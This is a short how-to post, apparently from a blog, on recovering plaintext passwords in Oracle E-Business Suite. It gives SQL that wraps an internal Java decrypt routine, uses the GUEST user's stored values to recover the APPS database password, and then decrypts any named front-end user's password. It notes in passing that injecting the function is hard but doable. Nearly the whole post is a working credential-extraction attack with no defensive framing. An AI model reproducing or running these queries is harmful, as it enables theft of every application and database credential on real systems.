Oracle Ebusiness Suite password

Oracle Ebusiness Suite password

You need either read only access to database or you can work it out in a cloned instance.

Step 1: Create the following function in database. Alternatively you can create a Java class and move it to JAVA_TOP.

CREATE OR REPLACE function APPS.my_decrypt(key in varchar2, value in varchar2)
return varchar2
as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

NOTE: This is trickier part. I won't venture into details of injecting this code into the system. It is not easy but it is doable. :-)

Step 2: Get database APPS schema password.

SELECT my_decrypt((SELECT fpov.profile_option_value
                   FROM   fnd_profile_options fpo,
                          fnd_profile_option_values fpov
                   WHERE  profile_option_name LIKE 'GUEST_USER_PWD'
                          AND fpo.profile_option_id = fpov.profile_option_id),
                  fu.encrypted_foundation_password) apps_pass
FROM   fnd_user fu
WHERE  fu.user_name = 'GUEST'

NOTE: Skip this if you already know the APPS database password. (Like in cloned test/development instance)
 
Step 3: Get Ebusiness Suite (front end) password.

SELECT my_decrypt(<APPS_DATABASE_PASSWORD>,fu.encrypted_user_password) user_pass
FROM   fnd_user fu
WHERE  fu.user_name = <APPS_FRONTEND_USERNAME>


Theory: Oracle for each user encrypts database password in FND_USER.ENCRYPTED_FOUNDATION_PASSWORD column using "USERNAME/PASSWORD" as key and users password in FND_USER.ENCRYPTED_USER_PASSWORD with APPS database password as key.